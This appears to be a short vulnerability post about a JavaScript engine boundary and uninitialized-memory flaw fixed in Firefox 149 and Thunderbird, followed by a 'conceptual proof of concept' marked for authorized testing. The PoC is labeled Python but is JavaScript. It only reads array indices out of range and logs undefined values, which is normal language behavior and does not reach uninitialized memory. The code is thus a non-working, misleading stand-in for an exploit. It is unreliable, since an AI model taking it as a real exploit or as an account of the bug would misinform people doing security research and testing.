Incorrect boundary conditions, uninitialized memory in the JavaScript Engine component. This vulnerability was fixed in Firefox 149, Firefox ESR 140.9, Thunderbird 149, and Thunderbird 140.9.
The following code is for security research and authorized testing only.
python
/**
* Conceptual Proof of Concept for CVE-2026-4716
* Vulnerability: Incorrect boundary conditions / Uninitialized memory
* Component: JavaScript Engine
*/
function trigger_vuln() {
// Create a buffer to manipulate memory layout
let arr = new Array(1000);
// Attempt to trigger boundary condition issue
for (let i = 0; i < 2000; i++) {
// Accessing out-of-bounds or uninitialized index
let val = arr[i - 500];
if (val === undefined) {
// Potential uninitialized memory read point
console.log("Potential uninitialized memory read at offset: " + i);
}
}
}
trigger_vuln();